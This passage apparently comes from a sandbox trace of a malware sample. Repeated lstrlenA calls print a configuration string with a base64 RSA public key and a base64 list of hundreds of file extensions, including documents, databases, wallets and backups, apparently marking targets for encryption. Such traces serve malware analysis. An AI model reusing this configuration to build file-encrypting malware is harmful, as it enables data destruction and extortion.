ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN